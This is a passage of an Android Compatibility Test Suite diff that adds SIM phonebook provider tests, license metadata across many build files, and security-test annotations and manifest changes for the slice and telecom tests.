+        values.put(SimRecords.PHONE_NUMBER, "18005550101");
+        Uri noNameUri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+        values.putNull(SimRecords.NAME);
+        Uri nullNameUri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+        values.put(SimRecords.NAME, "");
+        Uri emptyNameUri = mResolver.insert(
+                SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        String[] projection = {SimRecords.NAME, SimRecords.PHONE_NUMBER};
+        try (Cursor noName = query(noNameUri, projection);
+             Cursor nullName = query(nullNameUri, projection);
+             Cursor emptyName = query(emptyNameUri, projection)
+        ) {
+            assertThat(noName).hasSingleRow("", "18005550101");
+            assertThat(nullName).hasSingleRow("", "18005550101");
+            assertThat(emptyName).hasSingleRow("", "18005550101");
+        }
+    }
+
+
+    @Test
+    public void insertAdn_nameWithNonGsmAlphabetCharacters_addsRecord() {
+        String name1 = "日本";
+
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.PHONE_NUMBER, "18005550101");
+
+        values.put(SimRecords.NAME, name1);
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        String name2 = "abc日本";
+        values.put(SimRecords.NAME, name2);
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        String name3 = "日a本bc";
+        values.put(SimRecords.NAME, name3);
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+        String[] projection = {SimRecords.NAME};
+        try (Cursor cursor = query(
+                SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), projection)) {
+            assertThat(cursor).hasData(new Object[][]{{name1}, {name2}, {name3}});
+        }
+    }
+
+    @Test
+    public void insertAdn_nameOnly_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+
+        values.putNull(SimRecords.PHONE_NUMBER);
+
+        e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+
+        values.put(SimRecords.PHONE_NUMBER, "");
+
+        e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+    }
+
+    @Test
+    public void update_nameOnly_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "18005550101");
+
+        Uri itemUri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+
+        values.remove(SimRecords.PHONE_NUMBER);
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.update(itemUri, values, null));
+
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+
+        values.putNull(SimRecords.PHONE_NUMBER);
+        e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.update(itemUri, values, null));
+
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+
+        values.put(SimRecords.PHONE_NUMBER, "");
+        e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.update(itemUri, values, null));
+
+        assertThat(e).hasMessageThat().isEqualTo(PHONE_REQUIRED_MESSAGE);
+    }
+
+    @Test
+    public void insertAdn_phoneNumberContainingNonDialable_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "A555TEST x7777");
+
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat()
+                .isEqualTo(SimRecords.PHONE_NUMBER + " contains unsupported characters.");
+    }
+
+    @Test
+    public void updateAdn_phoneNumberContainingNonDialable_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        Uri itemUri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+
+        values.put(SimRecords.PHONE_NUMBER, "A555TEST x7777");
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.update(itemUri, values, null));
+
+        assertThat(e).hasMessageThat()
+                .isEqualTo(SimRecords.PHONE_NUMBER + " contains unsupported characters.");
+
+        try (Cursor cursor = query(itemUri, new String[]{
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        })) {
+            assertThat(cursor).hasSingleRow("Name", "5550101");
+        }
+    }
+
+    @Test
+    public void updateAdn_duplicateRecord_updatesCorrectRecord() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Initial");
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        // Create three records with the same values
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+        Uri uri2 = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        // Update the second of the 3
+        values.put(SimRecords.NAME, "Updated");
+        values.put(SimRecords.PHONE_NUMBER, "5550102");
+        mResolver.update(uri2, values, null);
+
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                new String[]{
+                        SimRecords.NAME,
+                        SimRecords.PHONE_NUMBER
+                })) {
+            assertThat(cursor).hasCount(3);
+            assertThat(cursor).atRow(0).hasRowValues("Initial", "5550101");
+            assertThat(cursor).atRow(1).hasRowValues("Updated", "5550102");
+            assertThat(cursor).atRow(2).hasRowValues("Initial", "5550101");
+        }
+    }
+
+    @Test
+    public void deleteAdn_duplicateRecord_deletesCorrectRecord() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Initial");
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+        Uri uri2 = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        mResolver.delete(uri2, null, null);
+
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                new String[]{
+                        SimRecords.NAME,
+                        SimRecords.PHONE_NUMBER
+                })) {
+            assertThat(cursor).hasCount(2);
+            assertThat(cursor).atRow(0).hasRowValues("Initial", "5550101");
+            assertThat(cursor).atRow(1).hasRowValues("Initial", "5550101");
+        }
+    }
+
+    @Test
+    public void delete_unusedIndex_returnsZero() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        int result = mResolver.delete(
+                SimRecords.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, 10), null);
+
+        assertThat(result).isEqualTo(0);
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                new String[]{SimRecords.NAME, SimRecords.PHONE_NUMBER})) {
+            assertThat(cursor).hasSingleRow("Name", "5550101");
+        }
+    }
+
+    /** This is a pretty slow test because it requires filling up the ADN file. */
+    @LargeTest
+    @Test
+    public void insertAdn_efFull_throwsCorrectException() {
+        int maxRecords;
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN),
+                new String[]{ElementaryFiles.MAX_RECORDS})) {
+
+            assertThat(cursor.moveToFirst()).isTrue();
+            maxRecords = cursor.getInt(0);
+        }
+        Uri adn = SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN);
+        ContentValues[] values = new ContentValues[maxRecords];
+        for (int i = 0; i < maxRecords; i++) {
+            values[i] = new ContentValues();
+            values[i].put(SimRecords.NAME, "Name" + i);
+            values[i].put(SimRecords.PHONE_NUMBER, String.valueOf(i));
+        }
+        mResolver.bulkInsert(adn, values);
+
+        ContentValues moreValues = new ContentValues();
+        moreValues.put(SimRecords.NAME, "Final Name");
+        moreValues.put(SimRecords.PHONE_NUMBER, "5555");
+        IllegalStateException e = assertThrows(IllegalStateException.class, () ->
+                mResolver.insert(adn, moreValues));
+        assertThat(e).hasMessageThat().startsWith(adn + " is full.");
+
+        mResolver.delete(SimRecords.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, 1),
+                null);
+
+        // This should work now that one has been deleted.
+        Uri uri = mResolver.insert(adn, moreValues);
+
+        try (Cursor itemCursor = query(uri,
+                new String[]{SimRecords.NAME, SimRecords.PHONE_NUMBER})) {
+            assertThat(itemCursor).hasSingleRow("Final Name", "5555");
+        }
+    }
+
+    @NonNull
+    private Cursor query(Uri uri, String[] projection) {
+        return Objects.requireNonNull(mResolver.query(uri, projection, null, null));
+    }
+
+    private Uri insertAdn(int subscriptionId, String name, String phoneNumber) {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, name);
+        values.put(SimRecords.PHONE_NUMBER, phoneNumber);
+        return mResolver.insert(SimRecords.getContentUri(subscriptionId, EF_ADN), values);
+    }
+
+    private Uri insertFdn(int subscriptionId, String name, String phoneNumber) throws Exception {
+        Bundle extras = new Bundle();
+        extras.putString(SimRecords.QUERY_ARG_PIN2, mPin2);
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, name);
+        values.put(SimRecords.PHONE_NUMBER, phoneNumber);
+        return SystemUtil.callWithShellPermissionIdentity(
+                () -> mResolver.insert(SimRecords.getContentUri(subscriptionId, EF_FDN), values,
+                        extras),
+                Manifest.permission.MODIFY_PHONE_STATE);
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java
new file mode 100644
index 0000000..e53694b
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.junit.Assume.assumeThat;
+
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import org.junit.rules.ExternalResource;
+
+class SimPhonebookRequirementsRule extends ExternalResource {
+
+    private final int mMinimumSimCount;
+
+    SimPhonebookRequirementsRule() {
+        this(1);
+    }
+
+    SimPhonebookRequirementsRule(int minimumSimCount) {
+        mMinimumSimCount = minimumSimCount;
+    }
+
+    @Override
+    protected void before() {
+        Context context = ApplicationProvider.getApplicationContext();
+        RemovableSims removableSims = new RemovableSims(context);
+
+        assumeThat(removableSims.getRemovableSimSlotCount(),
+                greaterThanOrEqualTo(mMinimumSimCount));
+        assertWithMessage("A SIM must be installed in each SIM slot")
+                .that(removableSims.getSubscriptionInfoForRemovableSims().size())
+                .isAtLeast(mMinimumSimCount);
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java
new file mode 100644
index 0000000..a8ce665
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import android.Manifest;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.Cursor;
+import android.os.Bundle;
+import android.provider.SimPhonebookContract;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.telephony.SubscriptionInfo;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.rules.ExternalResource;
+
+import java.util.List;
+import java.util.Objects;
+
+/** Removes all records from all the removalbe SIM cards after tests have run. */
+class SimsCleanupRule extends ExternalResource {
+    private static final String TAG = SimsCleanupRule.class.getSimpleName();
+    private final ContentResolver mResolver;
+    private final int mEfType;
+    private final Bundle mExtras = new Bundle();
+
+    SimsCleanupRule(int efType) {
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        mEfType = efType;
+    }
+
+    void setPin2(String pin2) {
+        mExtras.putString(SimPhonebookContract.SimRecords.QUERY_ARG_PIN2, pin2);
+    }
+
+    @Override
+    protected void after() {
+        RemovableSims removableSims = new RemovableSims(
+                ApplicationProvider.getApplicationContext());
+        List<SubscriptionInfo> infos = removableSims.getSubscriptionInfoForRemovableSims();
+        for (SubscriptionInfo info : infos) {
+            if (mEfType == ElementaryFiles.EF_FDN) {
+                clearFdn(info.getSubscriptionId());
+            } else {
+                clearEf(info.getSubscriptionId());
+            }
+        }
+    }
+
+    private void clearFdn(int subscriptionId) {
+        SystemUtil.runWithShellPermissionIdentity(() -> clearEf(subscriptionId),
+                Manifest.permission.MODIFY_PHONE_STATE);
+    }
+
+    private void clearEf(int subscriptionId) {
+        try (Cursor cursor = Objects.requireNonNull(mResolver.query(
+                SimPhonebookContract.SimRecords.getContentUri(subscriptionId, mEfType),
+                new String[]{SimPhonebookContract.SimRecords.RECORD_NUMBER}, null, null))) {
+            while (cursor.moveToNext()) {
+                mResolver.delete(
+                        SimPhonebookContract.SimRecords.getItemUri(subscriptionId, mEfType,
+                                cursor.getInt(0)), mExtras);
+            }
+        } catch (Exception e) {
+            // Swallow this so that the exception in the rule doesn't overwrite the failure in the
+            // test.
+            Log.e(TAG, "Failure cleaning up SIM", e);
+        }
+    }
+}
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index 7cae376..351ff22 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -7,6 +7,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsSimpleperfTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
index c53723b..90a78b3 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimpleperfDebuggableApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
index babe753..cc34183 100644
--- a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimpleperfProfileableApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 718b1d0..891a682 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSliceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 6eb21eb..3ad16fb 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -18,8 +18,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.slice.cts">
 
-    <uses-permission android:name="android.permission.BIND_SLICE" />
-
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
                 android:maxRecents="1"
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index 5543f74..be91afc 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -24,10 +24,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSliceTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
-        <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.slice.cts" />
         <option name="runtime-hint" value="1m" />
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
deleted file mode 100644
index 664b4fd..0000000
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.slice.cts;
-
-import android.content.pm.PackageManager;
-import androidx.test.InstrumentationRegistry;
-import android.content.Context;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.android.collect.Lists;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assume.assumeFalse;
-
-@RunWith(AndroidJUnit4.class)
-public class SliceProviderTest {
-
-    private static final String VALID_AUTHORITY = "android.slice.cts";
-    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
-    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
-    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
-    private static final String VALID_ACTION_URI_STRING =
-            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
-    private static final String SHADY_ACTION_URI_STRING =
-            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
-    private final Context mContext = InstrumentationRegistry.getContext();
-    private boolean isSliceDisabled = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_SLICES_DISABLED);
-
-    @Rule
-    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
-
-    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
-    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
-    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
-
-    private ContentResolver mContentResolver;
-
-    @Before
-    public void setUp() {
-        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
-    }
-
-    @Test
-    public void testCallSliceUri_ValidAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(validActionUri);
-    }
-
-    @Test(expected = SecurityException.class)
-    public void testCallSliceUri_ShadyAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(shadyActionUri);
-    }
-
-    private Slice doQuery(Uri actionUri) {
-        Bundle extras = new Bundle();
-        extras.putParcelable("slice_uri", actionUri);
-        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
-                    new SliceSpec("androidx.slice.LIST", 1),
-                    new SliceSpec("androidx.app.slice.BASIC", 1),
-                    new SliceSpec("androidx.slice.BASIC", 1),
-                    new SliceSpec("androidx.app.slice.LIST", 1)
-            ));
-        Bundle result = mContentResolver.call(
-                validBaseUri,
-                SliceProvider.METHOD_SLICE,
-                null,
-                extras
-        );
-        return result.getParcelable(SliceProvider.EXTRA_SLICE);
-    }
-
-}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index ca76d2b..e2fd053 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,6 +21,7 @@
 import android.net.Uri
 import android.os.Bundle
 
+import android.platform.test.annotations.SecurityTest
 import androidx.test.rule.ActivityTestRule
 import androidx.test.runner.AndroidJUnit4
 import org.junit.Before
@@ -61,6 +62,7 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2019-11-01")
     fun testCallSliceUri_ValidAuthority() {
         assumeFalse(isSlicesDisabled)
 
@@ -68,6 +70,7 @@
     }
 
     @Test(expected = SecurityException::class)
+    @SecurityTest(minPatchLevel = "2019-11-01")
     fun testCallSliceUri_ShadyAuthority() {
         assumeFalse(isSlicesDisabled)
 
diff --git a/tests/tests/soundtrigger/Android.bp b/tests/tests/soundtrigger/Android.bp
index 6910adb..382b8c2 100644
--- a/tests/tests/soundtrigger/Android.bp
+++ b/tests/tests/soundtrigger/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSoundTriggerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/speech/Android.bp b/tests/tests/speech/Android.bp
index ee5eb38..295b4f2 100644
--- a/tests/tests/speech/Android.bp
+++ b/tests/tests/speech/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSpeechTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/Android.bp b/tests/tests/syncmanager/Android.bp
index 61eb483..5abee47 100644
--- a/tests/tests/syncmanager/Android.bp
+++ b/tests/tests/syncmanager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSyncManagerTestsCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/apps/Android.bp b/tests/tests/syncmanager/apps/Android.bp
index d759221..cbcfe29 100644
--- a/tests/tests/syncmanager/apps/Android.bp
+++ b/tests/tests/syncmanager/apps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSyncManagerApp1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/common/Android.bp b/tests/tests/syncmanager/common/Android.bp
index a5e8733..2eadf26 100644
--- a/tests/tests/syncmanager/common/Android.bp
+++ b/tests/tests/syncmanager/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsSyncManagerCommon",
     srcs: [
diff --git a/tests/tests/systemintents/Android.bp b/tests/tests/systemintents/Android.bp
index b3def56..9b17b4f 100644
--- a/tests/tests/systemintents/Android.bp
+++ b/tests/tests/systemintents/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSystemIntentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 22ee8a3..011dbfd 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSystemUiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 631083d..69c5cc2 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -664,9 +664,6 @@
             throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        final Rect[] rects = new Rect[1];
-        mainThreadRun(() -> rects[0] = mActivity.getViewBound(mActivity.getContentView()));
-        setAndWaitForSystemGestureExclusionRectsListenerTrigger(rects[0]);
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
         mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 2fdb0b3..437743a 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "car-mode-app-srcs",
     srcs: [
@@ -28,6 +32,22 @@
     ],
     path: "aidl/",
 }
+filegroup {
+    name: "third-pty-dialer-app-srcs",
+    srcs: [
+        "ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java",
+        "ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceControl.java",
+        "ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceActivity.java",
+    ],
+    path: "ThirdPtyInCallServiceTestApp/",
+}
+filegroup {
+    name: "third-pty-dialer-app-aidl",
+    srcs: [
+        "ThirdPtyInCallServiceTestApp/aidl/android/telecom/cts/thirdptyincallservice/ICtsThirdPartyInCallServiceControl.aidl",
+    ],
+    path: "ThirdPtyInCallServiceTestApp/",
+}
 
 android_test {
     name: "CtsTelecomTestCases",
@@ -54,6 +74,9 @@
         "CallRedirectionServiceTestApp/**/I*.aidl",
         "Api29InCallServiceTestApp/**/*.java",
         "Api29InCallServiceTestApp/**/I*.aidl",
+        "ThirdPtyDialerTestApp/**/*.java",
+        "ThirdPtyDialerTestAppTwo/**/*.java",
+        "CarModeTestAppTwo/**/*.java",
     ],
     exclude_srcs: [
         "src/android/telecom/cts/SelfManagedConnection.java",
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 5e6a6ee..b408dbd 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -34,12 +34,23 @@
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
-
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+    <uses-permission android:name="android.permission.MANAGE_ROLE_HOLDERS" />
+    <uses-permission android:name="android.permission.MANAGE_USERS" />
